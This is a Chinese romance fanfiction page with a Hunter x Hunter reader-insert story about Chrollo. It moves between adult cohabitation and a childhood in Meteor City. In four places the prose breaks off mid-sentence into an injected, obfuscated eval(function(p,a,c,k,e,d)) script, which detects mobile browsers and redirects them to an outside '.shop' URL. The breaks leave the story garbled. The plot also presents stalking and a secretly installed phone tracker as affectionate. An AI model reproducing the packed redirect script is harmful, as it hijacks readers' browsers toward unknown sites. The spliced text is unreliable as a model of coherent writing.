《库洛仔问你第N年痒不痒》 1. 库洛洛的第零年(1) “唔……” 从某小日子国散心回来的第二天,你被食物的香气唤醒。 松软的煎蛋吐司表面泛着焦黄的色泽,乳白色的奶油蘑菇汤让醒来后口渴的你觉得格外诱人。 家里什么时候进了田螺姑娘。你感激涕零。田螺啊田螺,就不多留了,从你的钱包里拿点戒尼走就好了。 好像忘了什么。啊,是指昨晚半夜自己床上疑似出现的不明物体吗?还是在外旅游时尾随自己的可疑黑影?不管了不管了,至少此刻都不存在。 吃一口吧。吐司煎的口感正好,外酥里软。蘑菇汤的味道也香浓得很。 毫无预兆地,卧室门被推开。一个黑色的人影出现,没有发出任何脚步声。你吓了一跳。 “已经醒了啊。” 和你四目相对之后,他温柔地微笑着。 “你是……田螺小哥?”你歪头。 “?不记得我了吗?” 他微微蹙起眉,显得有点苦恼。额头上的等臂十字架莫名扭曲了一些,看着还挺好玩的。 你礼节性地微笑: “看样子是这样。总之,非常感谢你的热心服务,从我的钱包里找出时薪后就可以下班了哦。我会给你好评的。” 他捂着下巴思考了一会,很快又笑着回道: “您指定的服务时间不止今天哦。我要一直和您同住,照顾您的起居。” 你头大:“我付不起这么多钱啊。你还是现在就走吧。” “我不收钱的。”他在你床边坐下,看着你笑吟吟地说,“我只是想追求您而已。请让我一直待在您身边。” “……” 上赶着送过来的便宜一般都有诈。好运基本没落到过你头上。 “拒绝的话,这饭我还能继续吃吗?” “呵呵,”他慷慨地莞尔,“当然可以。” * 先前经历的某些不愉快让你在出国旅游时也没顾得上吃多少。此刻却是着实起劲,毕竟免费就是这么吸引人。 田螺小哥身着看上去质地优良、价格不菲的衬衣,依旧保持着良好的服务生精神,在一旁专注地看着你腮帮鼓鼓,视线没有离开半分。 可惜了,你并不习惯有人看着自己吃饭,会有种一举一动被审视和品评的、非常窘迫的感觉。帅哥服务生的眼神还偶尔有些幽暗。这让你的食欲没有那么强烈了。 “田螺哥,你吃过了吗?” “我不饿,”他摇头,黑色的碎发也跟着一晃一晃,像只狡黠的小动物,“小姐您吃饭的样子太过可爱,我只要看着就感觉很满足了。” …… 你木木地说:“我饱了。” 顿了一会,你又补充:“那个,我不喜欢太主动的男人哈。” 他受伤又诚恳地问: “那小姐喜欢什么样的男人?” “我想想……那当然是,不理我,不关注我,只能让我暗恋的。看着非常完美,像纸片人一样离我特别遥远,永远不会回应我的感情的。” 服务生愣住了。纤长的睫羽颤抖了一下,他颇为认真地说,“那样的男人是会不存在的。小姐,没有人可以那样对你。” “谁知道呢。”你漫不经心地说,“嗯……说不定昨天半夜爬床的幽灵就可以。毕竟那家伙完全不在意我的抗拒呢。” “那个幽灵或许,只是不希望你再做噩梦而已。” 服务生小哥轻轻说着,用辞竟慢慢地不再是敬称。 你不置可否。确实,从在这个世界的母亲去世后,你就经常做噩梦。昨天半夜醒来时,有人抱住了你,轻轻拍着你的后背。你妈都没对你这样过。 “小哥你可真懂,好像你就是那幽灵似的。不知道你会不会悄无声息地开锁呢?——哈哈哈哈,我开玩笑的。” “……” 男人面上属于服务人员的恭谨和谄媚终于褪去,只余被阴阳怪气一阵后的乖巧和无奈:“拉芙(Love),我不是故意的。我真的只是在担心你。” “是吗,那幽灵先生今晚不会再来了吧?” “这……我不能保证。” 你用一种炭○郎看到善○抓着女孩子求婚的眼神看他: “果然,你只是个简单的流氓啊。” “呜……” 很少听到恶言恶语(因为仇人都直接刀了)的库洛洛·鲁西鲁感到委屈。 * 虽然你看起来还是很有战斗力,其实人已经走了有一阵了。自我疗愈的独处被人打断,粘上来一个赶不走的跟屁虫,做什么都会很烦躁。 “要出去逛逛吗?你喜欢的那家咖啡店之前出了新品,你还没尝过吧。据说很好喝。” 库洛洛刻意忽略你周身名为拒绝的空气,向你发出邀请。 “我不想出门。” 其实你还挺想尝尝的。 哎,等等。 你做出思考状:“嗯,如果能直接喝到现成的话,倒是也不错……” “你不陪我去吗?” “不要。” 库洛洛颇为纠结地思考了一会,然后企图用可爱攻势让你改变想法。 “拉芙,真的不行——” 尾音黏糊地拉长。 你反弹吟唱:“哎呀我也真的不行——” “库洛洛,喝不到的话我也会受不了的——” 有一瞬,他脸上没绷住,又显现出一种晦涩的神情,喉结也意味不明地滚动着。你本能地警铃大作。 然而那也只是幻觉般的一瞬。下一秒,他还是说:“……那我出去的时候,你要一直待在这里。” 看到你点头之后,他才慢吞吞地穿上外套。期间黑漆漆的视线紧紧粘着你,仍然期待着你随时改口。 “不送送我吗?” 你还是忍不住翻了个白眼:“你这架势,不知道的人还以为是要飞火星了?” “唔。”他可怜得连额前蓬松的碎发都耷拉下去,只好又强调一遍,“那你不要出去啊。”然后背影凄凉地打开门,像是只被主人赶出家门的小黑犬。 等他离开之后,你才松了口气,自在享受片刻的清静。 以前的你当然不会对库洛洛横眉冷对,但现在,属于你患得患失的七年已经结束了,现在的你是钮祜禄氏、咳,已经成为了有钱和事业的大女人。 简单地说,库洛洛没办法抛弃身为领导者的责任,全情投入地爱着你,却任性地想要你的世界里只有他。可是你同样有自己的人生,已经不能再和小时候一样无底线地宠他。 过于浓烈的爱会让人失去自我。与其这样,不如把所有的爱意都倾注到自己身上,至少不用再受伤。 总之你让他别再来找你。可想而知,库洛洛并不同意。据你的可靠线人所言,他在破防落泪后获得了团员们全方位的指导(虽然你看他们哪个都不像懂爱情的)。尾随你被抓包后,这位蜘蛛头子不停撒娇卖惨,间或溢出黑泥,如今的情形已经是你左右权衡,在被关进小黑屋前的最后妥协。 畸形的恋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250992|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱固然香艳,真落到头上却让人只觉危险。平常嘴上刺他几句还好,真的再跑路你可是不敢。追回你的时候他说过,如果你再消失,他也不知道自己会做出什么。 ……这样一想还真是憋屈。你随意拿起一本从小日子买回来的经典推理翻看,用来打发时间。 * 可惜,你最想要的独处没能持续多久。库洛洛生怕你跑了,回来得很快。看到你靠在客厅沙发上静静翻着书,蹙着的眉头才舒展开来,呼吸也安心地放缓。 他坐在你旁边:“拉芙,我回来了。” 缱绻的眼神里透着某种期待。你非常自觉地打开包装袋,享用你的咖啡:“喔,谢了。” 库洛洛看着你捧起杯子细细品尝,缓缓露出一个温和的笑容:“好喝吗?” “还不错。” 咖啡的香浓冲走你不少郁结。给这位外卖员的服务好评。 新晋外卖员的视线在你唇上停留了一会,说:“我也想尝尝。” ……所以说为啥不多买一杯,没抢到幸运路人的钱吗。 你勉为其难地把杯子转个方向递给他,这人识相地避开你刚才嘴唇接触过的位置。 喉结滚动之后,他的表情卡住了一瞬。 “有点苦。” 你好笑地挖苦:“还是草莓芝士拿铁更适合你。” 这人为了体验上流阶层的情调和模拟情报收集,非常乐意去高档餐厅和卖价昂贵的咖啡馆。不过体验并不代表习惯,即便英俊的外形和贵族生活非常搭调,他本人依然更钟爱甜食和罐装啤酒。 库洛洛含糊地应了一声,眼巴巴地看着你继续沉浸式阅读,时不时翻回前面回顾案件线索,一边也没忘偶尔啜几口咖啡。 “拉芙,”他脆生生地唤着,“我也想看。” “等我看完吧,”这一声声叫你名字的感觉像是被叫魂,你骨头酥得连头都没从书里抬起来,只想捂着鸡皮疙瘩,“我不想和聪明人一起找凶手,很没成就感。” 其实以前你们经常一起看的,你还多次夸赞他出色的推理能力。 这种程度的报复,他会是什么反应呢。你没去看他的表情,却不由自主放慢了阅读速度。 几分钟的沉默里,他似乎轻轻吸了几口气,才做出行动。 “不给我点奖励吗?”库洛洛用手指夹起你的衣角晃了晃,黑溜溜的圆眼睛闪着湿亮的光,宛如刚在溪边濯洗过,还沾着水珠的曜石。“我做的饭很好吃吧?买回来的咖啡也很好喝吧?” 田螺哥,刚还说自己免费的。果然送上门的便宜都有诈。 “………”你若有所思。 该怎么打发他好呢。 你并不想酷烈地对待他,一是他没欠过你什么,二是那只会显得你还很在意着他,反而让他更起劲。这也给了他顺杆爬的余地——他就是这样的入室抢劫型人才。 嗯……你拿起桌上的水笔,在书最后的空白页上画了几笔,然后将书页撕下来给他。 “这是?” 库洛洛不解地看着上面有着长耳朵短身材,贝雷帽下面露出几撮碎头发的神奇物种。这小动物额头顶着靶心形状的十字,耳朵挂着圆滚滚的小装饰品。短的连自己戴帽子都做不到的胳膊上,端着一小盘布丁。 你露出一个非常开怀的笑容:“这是你,布丁狗。” 啧啧啧,这可是他亲爹钦点的大作。包传神的。 “……” 此男的脸上再次出现空白。 2. 你的很久以前(1) “真是可怜啊,这么小就被父母抛弃了……” 嬷嬷摸着你因为混在垃圾堆中而变得糟乱的头发,悲戚地叹息。 在流星街,这并不少见。权贵们饱餐后的残羹冷炙,民众日常生活的垃圾,都源源不断地投放到这里。无力抚养的孩子也成了多余的存在,被甩向这片贫瘠的土地。 不过,你的情况比较特殊。毕竟穿越遇到欠债的爸,生病的妈,破碎的她,能躲进垃圾山已经是一线生机了。 嬷嬷用原始的纸笔给你做了基本信息登记,你就这样成为了流星街的自由人。她拉着你简单地熟悉了下居住区的环境,嘱咐你不要误了分发食物的饭点后就去忙其他事情了。 唔。 你看着虽然破旧,但比之前的家已经整洁了不知多少倍的狭小宿舍,不由得露出蛋花眼。 怎么就没投胎在这里呢!努力几年,才刚达到流星街人民生活的起点。 舍友还没回来,希望会是好相处的小孩。你心怀感激地走出宿舍,路过露天的小广场。有些小孩在玩游戏,用的大概是从垃圾堆里翻出的跳绳,绳柄都破的开胶了。 厨房里已经有嬷嬷准备煮粥的食材,几个看着有十几岁的孩子在帮忙。 教堂的墙灰有些脱落,里面摆的几盆长势不错的小花却意外的温馨。想来一定有虔诚的教徒精心养护。高大的十字架孤独地挺立,并不能唤醒你心中类似皈依的情绪。宗教宣扬的平静并不能掩盖这里的人遭受的苦难。 ……让人有点不爽。你离开这里,决定去学校看看。 说是学校,其实也只是集中搭建起的几间简易教室。有的小孩还在上课,十几岁的大孩子充当老师在黑板上写着公式和流星街语,小孩们有的抢着举手回答问题,有的则是一点没听,把课本卷成纸筒在桌子上敲着。感觉堪比山区支教现场。 以后你可能会和这些孩子成为同学。以防万一,还是提前锻炼提升下武力值吧。 教室的旁边还有个安静宽敞的房间,房门上挂着一个黑色的木牌,刻着你看不懂的流星街语。透过窗子往里望,里面似乎有数排高大的柜子,堆着不少书籍。 图书馆吗?你轻轻推开门进去。 大部分书是从垃圾堆里捡出来的,样子破旧却数量不少。写着流星街语的书并不多,因为外界流行的还是通用语。你看起来倒也方便。 你翻出本历史书,在狭小的阅读区找椅子坐下,为自己尚且粗糙的世界观打补丁。又臭又长的人名和地名看得人直打瞌睡,还不如回去背毛子作家的全名。 “嘎吱”一声,年久润滑失效的木门缓缓移动,激得你阖上的眼皮又抬起。 一个比你高不了多少的小小身影走进,在你之前停留的书架前翻找着什么。似乎并不顺利,他肉眼可见地瘪了下去,自言自语地说了些什么,然后又从旁边的书架拿了一本书。 走到阅读区时,他和你对上视线。看到陌生人的短暂惊讶后是一个新奇的微笑,你这才看清他的五官,稚嫩而精致,黑眸明亮又清澈。绝对是美人胚子。 他好像张口说了些什么,你听得比加密方言还晕乎。 “唔……” 你和遇到嬷嬷时一样,摆摆手慢慢用通用语说:“我不会说这里的语言。” 虽然能出去的人不多,这里也开设着通用语课程。这是嬷嬷告诉你的。 男孩顿了顿,奇异地兴奋起来,眼里pikapika地闪着光。 “那你是从外面来的吗?从这里长大的人都会说流星街语。” 他的通用语很流利,学习能力估计远超同龄人。你点点头。 “真的啊!外面的世界是什么样的呀!可以给我讲讲吗!” 意识到自己的反应过于激烈,男孩减弱语气重新说道:“不好意思,我实在是太激动了。我是库洛洛·鲁西鲁,可以告诉我你的名字吗?” 啊。 那一瞬间,你好像听到了蝴蝶振翅的声音。顺着拂过的春风不见踪影,轻盈而梦幻。心头酥麻又酸涩,你遭受的、背负的一切这一刻才被赋予意义。 明明离你那么遥远的人,此刻却和你处在同一个世界,这种机会相信以后也不会再有了。 “我叫拉芙(Love)”,你笑着报出这个世界的生母起的名字,不由祈祷这美好的寓意能给你带来勇气和奇迹,“库洛洛,你的名字好可爱呀。” 可惜你也刚来到这个世界几年,接触到的东西并不多,因此只能讲讲自己身边普通人平凡的生活。库洛洛却都很感兴趣。连圣诞节餐馆的陈设、新年桌上准备的菜肴这种琐碎的事情,他也听得津津有味,还和你说了不少流星街的趣事。 你在这个世界的生父沉醉于酒精和赌.博,很少有清醒的时间,生母十句话里有九句在感叹自己命苦。久违的简单而正常的交谈,居然是和库洛洛一起。 “我一高兴就说了好多话……”,半个小时后,他看着窗外已经下课的孩子们的身影,难为情地伸出小手搔搔脸颊,“拉芙,是不是打扰你看书啦?” “没有的事。”你为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250993|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这可爱的举动忍俊不禁,“和你聊天比看历史书有趣多了。” “诶,难道是《优路比安大陆史》?”看到你点头后,小男孩的脸上又绽放出小花般的笑容,“我刚才就是在找这本书!” “那可真是有缘。”你笑眯眯地邀请,“要一起看吗?” 库洛洛应着,坐到你旁边。枯燥知识的污浊都被天使的圣光净化了。 这么厚的大部头,他居然已经看了不少,还能给你讲出这些历史人物在其他传记里是什么形象,大大降低了你的阅读难度。你发誓自己不至于对一个小孩春心萌动,但这样聪明又乖巧的高质量小孩足以让任何人秒变妈粉。 你们聊得太过火热,险些误了晚餐时间。排队取面包和牛奶的时候,有很多小孩和库洛洛挥手打招呼。 “库洛洛,人气好高呀。”你惊叹。可以在流星街爱豆出道了。 “流星街的小孩不算很多,大家经常能遇到啦。”他谦虚地解释,“拉芙很快也会交到很多朋友的。” 面包并不是你想象中砖头那么硬,但也没有多松软,干巴巴的嚼起来有点费牙。配上牛奶倒是也可以入口。 如果去外围的垃圾堆翻翻,没准还能找到什么有意思的东西。不过需要很大的心理建设,你来的时候已经被连天的臭味熏得直憋气。 “今天已经太晚了,外面很不安全。”望着泛黑的天空,库洛洛难得小脸严肃着说,“你还不熟悉这里,如果想出去转的话,明天白天和我一起去吧?我带你认认已经被占领的区域。” 你重重点头。恭喜你自己触发好感邀约事件! 不过,垃圾山还要被占领,是什么流浪儿爆改山大王吗。 约好见面的时间后,你依依不舍地和库洛洛分别。这小孩灿烂地笑着说明天见,步伐轻快地回了男生宿舍。 啧啧,你要如何捱过这一晚的相思之苦呢。 回自己宿舍的路上,你竟意外地忐忑。即便灰姑娘顺利结束了热闹的宴会,与钟情的王子分别,南瓜马车和华丽的礼服裙也会就此消失吧。 然而,一刻也来不及为短暂的离别哀悼,即将参与你未来生活的是新的美人。 你呆呆看着眼前蓝紫发高高扎起的冷脸小姑娘,只觉心脏又剧烈地跳动起来。丘比特今天干出了两辈子的KPI。 “你、你好?我我是拉芙(Love)……” 女孩沉默了一会,吐出句发音有点蹩脚的通用语:“我是玛奇。” ……你还是找库洛洛学学流星街语吧。 3. 库洛洛的第零年(2) 库洛洛虽然不懂布丁狗是几个意思,却宝贝地把薄薄的纸片子收起来,甚至不敢折一下,怕弄皱了。 你看他乐得很,不知为什么又不爽起来。于是抢过来在旁边又添了几笔,画出同种生物的背影。 你指着布丁狗二号屁股上的"*"符号,用一种故意教兄弟小学知识的挑衅语气说:“这是你的皮炎子。” “?” 库洛洛再次疑惑。 “你想看吗?” 他眨眨眼,温声问。 “不,别乱耍流氓。这就是。”你义正言辞地强调。 此男一头雾水:“……哦。” 怎么突然这么乖巧?这人不是很会展开话题的吗。你目死地摇头:“孺子不可教也。” 对于你缘由不明的喜悲,库洛洛当成事办,却不得要领。他试探着问自己是不是又惹你生气了,你呛回去一句“你不愿意也惹火我多回了!”,让他暂时放弃了本次艰难的沟通。 * 你闭门不出的情况持续到学校有课。之前请的假快要告罄,再不去结课的出勤率就危险了。 期间,你的同居人颇有男德地一直为你准备着三餐。他可算严格按照菜谱放了食材和调料,没做出让你恨不得飞回流星街吃干面包的融合料理。 你并没有多感谢他。这远不能加回来晚上雷打不动爬床扣掉的分。库洛洛每天早晨都道歉,然后晚上还来。你有时候半夜被脑袋枕着的胸肌触感惊醒,他还轻轻拍着你的后背,以为你缺的只是哄睡服务。 “就算你是帅哥,也不可以随便占人便宜。”你无语地瞪他,“我看你是不想在这住了。” “我也出了一半钱,”话语里掺着困倦的鼻音,顺着湿软的吐息笼罩在你耳边,“是有居住权的。” “那就请你住进属于你的房间。” “床不能对半分吗?” “……” 好一个强词夺理的法盲! 你转过身背对着他:“那请你去你那半边。” 可恶,你真的没招了。 拖他死缠烂打的福,你严重的睡眠障碍倒是有所缓解,至少上课时没有顶着可怖的黑眼圈。 和你相熟的同学看着你欲言又止。你请假时只跟老师说了家里有事,其他人还没顾得上说明。可她们却像是知道了什么一样。 一向善于活跃气氛的莉娅说:“你可算来了!给你打电话也打不通,要不是库洛洛说你没事,我们都要报警了。” 你不着痕迹地瞄了他一眼。这人怎么也不告诉你一声。而且他怎么就神不知鬼不觉地和你同学们联系上了。 “哎呀,之前出了点意外,我的手机和电话卡一起坏了。”你不好意思地掏出新手机,“我用新号加你们吧?” 其实是和飞坦对完线之后就随便找口井扔了。库洛洛之前让侠客在你手机里装了定位,不扔你可没法跑。 落座准备上课之后,他贴近你耳边小声解释:“我只说是阿姨生病了。” 算他识相,你可不需要被人同情。不过现在其实也没差,既然需要你一个月不见踪影来照顾,人最后怎样很难猜测。她们也踌躇着没敢问。 “你什么时候加上的她们?” “第一次和你一起上课的时候。”他在你皱眉之前赶紧解释,“我只是想问她们,山本君是不是平常很喜欢找你。” “说了多少次了,人家明明叫山口君。” 山口君只是你们专业淳朴热情的岛国交换生。因为曾经也有过语言不通的经历,你和他很能共情,有时候会相约着陪他练习通用语。 专业里甚至没有人传你们的八卦,不约而同把山口君当成需要关照的对象,还用岛国特有的敬称来称呼他。 库洛洛当时还在不知哪个遗迹做挖坟大盗,知道之后没说什么,但做完任务回来第二天就说想和你一起上课。你还以为他只是想见识大学生活,没想到见识完就黑着脸要你和山口君保持距离。 记起某些被狠狠折腾的经历,你问道:“话说,你当时不会是在吃醋吧。” “那是当然的吧。”修长的手抚上你放在膝盖上的手,轻轻摩挲着。掌心的薄茧虚虚蹭着你的手背,其余地方又柔软得很。 他垂眸,浓密纤长的睫羽投下莫名幽怨的阴影:“……我不在你身边的时候,总是有人想接近你。” 说真的,你很想回他一张孙悟空手搭凉棚看路的表情包,底下再配一行字:人呢? 你怎么都没见过?这人怎么搞出来的假想敌。 仔细想来,似乎还有很多类似的片段。 你十一岁时,库洛洛被长老会计划着派到黑.帮做事。你们不再一起训练,和你相处更多的是同龄的朋友和其他需要照顾的小孩。他风尘仆仆地回来时想找你,总是要等你忙完其他琐碎的事。你直觉他心情不好,他也解释不上来原因。 你十三岁时,体能随着身体发育变强,成为了流星街留守的骨干力量。除了帮嬷嬷安排工作,还要教训一些不听话的捣蛋鬼。有次正赶上库洛洛从外面回来,他就那样在小孩们面前突兀地扣住你的手,用晦涩的眼神一直注视着你,不知道在想些什么。你问起来,他只回答是“想见你了。” 你十五岁时,也已经被外派出去。你腹部受伤,玛奇也有重要的任务,一通电话把库洛洛摇过来照顾你。组织里关照过你的同伴来看望你,他一言不发地在旁边削水果,配上笑容不多的脸看着有些渗人。等你伤好他离开之后,同伴才说那天总感觉你男朋友是想削他。 你十七岁时,库洛洛因为你不愿意加入旅团而闹别扭。你坚持要考大学,他半年没联系你。你问侠客关于你感兴趣的专业的问题,问了几次后他说不敢再回你消息,不想再被团长瞪了。 你十九岁时,在满是二次元的专业结交了很多同好。你们约着去买动画DVD,库洛洛疑惑地说“我也可以陪你去啊”。对于你一起创业做游戏的码农伙伴,他听了几次对方友好亲切的为人之后,径直表示“你喜欢的话,我也可以学编程。”骚扰你的油腻房东被你爆揍后提溜进橘子,没过多久你就听说他死了。 现在,你二十一岁了。出门还要带着个大尾巴,恨不得你上厕所也要守在门口。某战神如果想这个时候杀他,想必也会赢得索然无味。 …… 老师已经开始授课。你躲着讲台上快要瞥过来的视线拍开他的手,在老师开场的寒暄中给他传了张小纸条: [你占有欲太强了吧?] 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250994|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >[我觉得那是很正常的反应。我们从小一直只有彼此的(附带一只布丁狗捧心图)] 这人学的可真快。 [侠客和派派知道可要哭死了。] [还是我们相处的时间最多吧。] …… 你收起爱心布丁狗,又撕了一张纸条。 [见色忘义。烂人。] [不可以吗?(附上蛋花眼)] [……你知不知道自己现在很油腻?] [那不这样的话,你还会理我吗?] [不会^__^。] [╥﹏╥] 库洛洛本人也嘟起嘴唇,可怜兮兮地看着你。 你冷酷地哼笑,不予理会。 * 习惯了在家无所事事,你一时间集中不了精神听课,笔记也做得马马虎虎,时常忘记老师刚才说的内容。 其实最近你在家也经常忘事,但不算严重。比如洗完澡转头就忘了自己洗没洗,还可以闻闻身上沐浴露的香气想起来;刚点完菜又说想吃其他的,还能理直气壮地为难库某人。 “情感投射与自我认同。” 库洛洛看着你记的前半句“游戏需要满足玩家的”,凑近小声提醒。带着些讨好的意味,气音裹挟的耳语震得大脑跟着迟钝地嗡鸣。 又走神了。 你不慌不忙地记上。没有什么着急的必要,你已经不用再像前几年一样为奖学金发愤图强,只需要平稳地水个论文毕业。 [你制作的游戏已经都做到了。] 这人用之前留在他那的纸条继续传话。 你回了个[嗯哼]。毕竟收益确实可观,把他给过你的都还回去还能剩下不少。这可是老二次元为数不多实打实的穿越福报。 这个世界属于平民的娱乐太少了。报考大学时,你选了优路比安大学的游戏设计专业,用做任务攒下的本金和同好一起开发了游戏,赚了不少钱。二十一世纪流行的人设还挺超前,在这个笔记本电脑还不普及的时代也掀起了白毛热潮。 [之前计划的FD,还准备做吗?] [脚本已经发给陀思学长了,他那边预计还要两个月——如果没有偷偷熬夜加班的话。] 没错,你的合作伙伴是伟大的天才程序员陀思妥耶夫斯基先生,你已经毕业两年的校友。感谢他高超的技术和精益求精的工匠精神,感谢他完美地领悟并超越你能想象到的游戏效果。不然你们的作品不会这么火爆。 和陀思学长合作,显然是神一般的体验。他会对你写的剧本提出中肯的建议,会为每位主要角色谱出专属bgm。他不会要求美工的CG多露肉。虽然不知道他为什么出现在这里,但你赚到的钱都是真金白银。 [我也可以帮忙的。之前和侠客学了一阵,他说我学得还不错。] [那我不如直接找侠客?] [他不敢的。] …… [真怕你哪天削了我好心的学长。] 库洛洛很快回你: [你会介意吗?他能做到的,我也可以。不会影响你的工作。] 你扶额。 够了,你纯恨的生活好不容易没有变成监禁抓,现在却要变成恐怖片了吗! 4. 你的很久以前(2) “拉芙,这里! ” “呜哇!” “你们这两个小偷,看我的厉害!” “这是误会,误会!我们真的不知道这是你的地盘!” 坐标居民区外的某不知名垃圾堆,你和库洛洛team正在抱头鼠窜。你们的初次探索非常慌乱。 即便流星街有组织专门的清扫队,孩子们间依然存在强占山头的情况,至少在清扫前不会允许其他小孩探索自己的地盘。最靠近居民区的垃圾山已经被某些好战分子占领,你们认了一圈后就继续往外走。经过一阵艰难的观察和比对,你们选了一个看起来好爬一点的小山包,但刚爬到顶就被不知从哪冲出来的小鬼凶猛追赶,主张自己的所有权。 你被臭气熏得晕头转向,幸好可靠的队友库洛仔不忘拉着你逃命。追你们的小鬼身手敏捷得不像话,搞得你们两个小豆丁上蹿下跳。 “噫!” “给我站住!” 这是在山腰奔跑的你俩。 “呜啊!” 这是互相支撑着直接往下俯冲的你俩。 库洛洛很有道德地只规划路线,闷头跑路,但你就不那么好心了。手边有啥都直接丢,香蕉皮、空罐头、塑料袋、糖果包装…… 咦,还有包没吃掉的糖。你收下了。 “喂,别乱动我的东西!” “都还给你了!” 最后,你和库洛洛躲到了另一堆垃圾山的背面,避开小鬼的视线。那小鬼骂骂咧咧地走远了。 “呼——咳咳!” 终于放下心来的你,猝不及防吸入一大口有毒气体。 “先别深呼吸,”库洛洛轻轻拍着你的背,帮你顺气,“你还不适应这里的空气,吸入太多身体会不舒服的。” “咳咳、……好。” 经过激烈的追逐战,库洛洛的白衬衫已经变得灰扑扑,认真打理的中分头发有些凌乱,额角也挂着未干的细汗。透过他的眼睛,你看见自己也没好到哪里去。 你噗嗤乐出声:“咱们两个好狼狈啊。” “哈哈,是啊。”库洛洛也笑起来。 “对了,刚才我找到了这个。”你从口袋里掏出刚才装起来的一包糖,仔细看了看上面标的生产日期和保质期。还没过期。 “要吃吗?”你拆开包装递给他。 库洛仔乖巧地道谢,在衣服上擦了擦手上的油污,指尖夹起一枚水果软糖,期待地放入口中。 随后、那双稚嫩圆润的眼睛霎时间亮起来,像是看见棉花糖的小浣熊。 “好、好好次!” 他一边咀嚼,一边含糊不清地说。 “那再吃点吧。”你搓搓手,脑内已经捧脸大喊【我儿好可爱】了。 “你不吃吗?” “我更喜欢看你吃。超可爱的,我看着就很满足了。” 可以的话,你真想捏捏他的脸蛋。一定非常柔软吧。 库洛洛动摇了一下,还是说:“这是你找到的,我不应该——” 你双手比个叉,示意这个事情不需要再讨论:“那就当是对你带我出来的报答咯。这下你可不能拒绝了,我会很过意不去的。” “呜……谢谢你,拉芙。” 库洛洛以一种对待稀有之物的态度,吃了几颗糖之后又收了起来,说是想留到明天继续吃。 你看得有点心酸。以后说什么也得给孩子改善改善生活,省得这种让人幻视孔融让梨的事情再出现。 重新启程探索,你比上一次爬得更为熟练。这次爬之前,你们还围着山底转了一圈,确认周围没有人才上去。 这次你们没有遇到山大王。但垃圾堆里主要是还是被外界判定为「无用」的东西,能从里面找到你们需要的东西也是要碰运气的。 除去厨余垃圾,似乎还有废旧电池、灯泡、电脑配件一类的东西。这些有害垃圾如果不及时清扫,还是会影响人体和土壤。 不过,万一还能用呢?万一你有机会用上呢?这样一想,你就看着很多东西都想拿走。 “以后还有机会过来的。”库洛洛好笑地说,“不过我刚出来的时候也是这样,看见什么都想带回去,还差点被嬷嬷发现。” “诶,你都拿了什么呀?” “唔,我想想……有扳手、一盒过了期的布丁、亮闪闪的手链、还有一本书。” 你沉默了几秒:“……我都不知道该从哪里开始吐槽了。” “「吐槽」?”不属于这个时代的词语,对他来说很陌生。 “让我来演示一下,你就明白是什么意思了。首先,先不说别的,你拿着书从外面回去,要怎么做到不被人发现啊?!” 库洛洛似乎很为自己的机智而骄傲,自信地秒答:“我藏在衣服里了!” 衣服?你试探地问:“贴着肉吗?” 库洛洛开心地点头,笑得周围露出小花,好像在回忆当时的壮举:“嗯!成功突破!” “……不愧是你。那么,下一个问题,为什么要拿亮闪闪的手链呢!感觉只能起到造型上的作用!” “确实,但是那条手链实在太好看了,我从来没见过那么漂亮的装饰,所以就忍不住想要自己留下来。”他不好意思地挠挠黑发,又笑笑,“啊,如果你也感兴趣的话,改天我带来给你看看。” “好呀。该说依然不愧是你吗……那么,下一个问题。为什么要拿过了期的布丁?小孩子的胃可是很脆弱的哦?” “我知道,可是我没有吃过布丁,太好奇了,想试试是什么味道。尝过之后发现确实很好吃,也幸运地没有拉肚子。”语气一转,库洛仔忧愁地叹气,可怜兮兮地说,“不过,虽然我记下了那个布丁的生产厂商,后面也没有再发现过同样的布丁。……看来外面的人也很爱吃啊。” 库洛仔对你使出「天使の優鬱」,效果拔群!啊不是,你真的不是变.态。 不愧是布丁狗,从小就这么爱吃布丁。你决定以后也帮着这孩子搜罗一些。 “好吧,那下一个问题,扳手又是怎么回事?似乎和小孩的日常生活没什么关系呢。” “我看在书上看到过,觉得它的形状很奇特,就想带回去收藏起来。后来教堂的窗户松了,我还用它帮忙拧紧了螺丝,非常实用!” 这孩子,对自己做的好人好事很满意。 “所以,「吐槽」就是犀利地发问吗?” “没那么温和。”你摇摇头,抬手搓搓他的脸蛋,果然柔软q弹,“果然我还是无法对天使说出难听的话。” “诶,天使?是说我吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 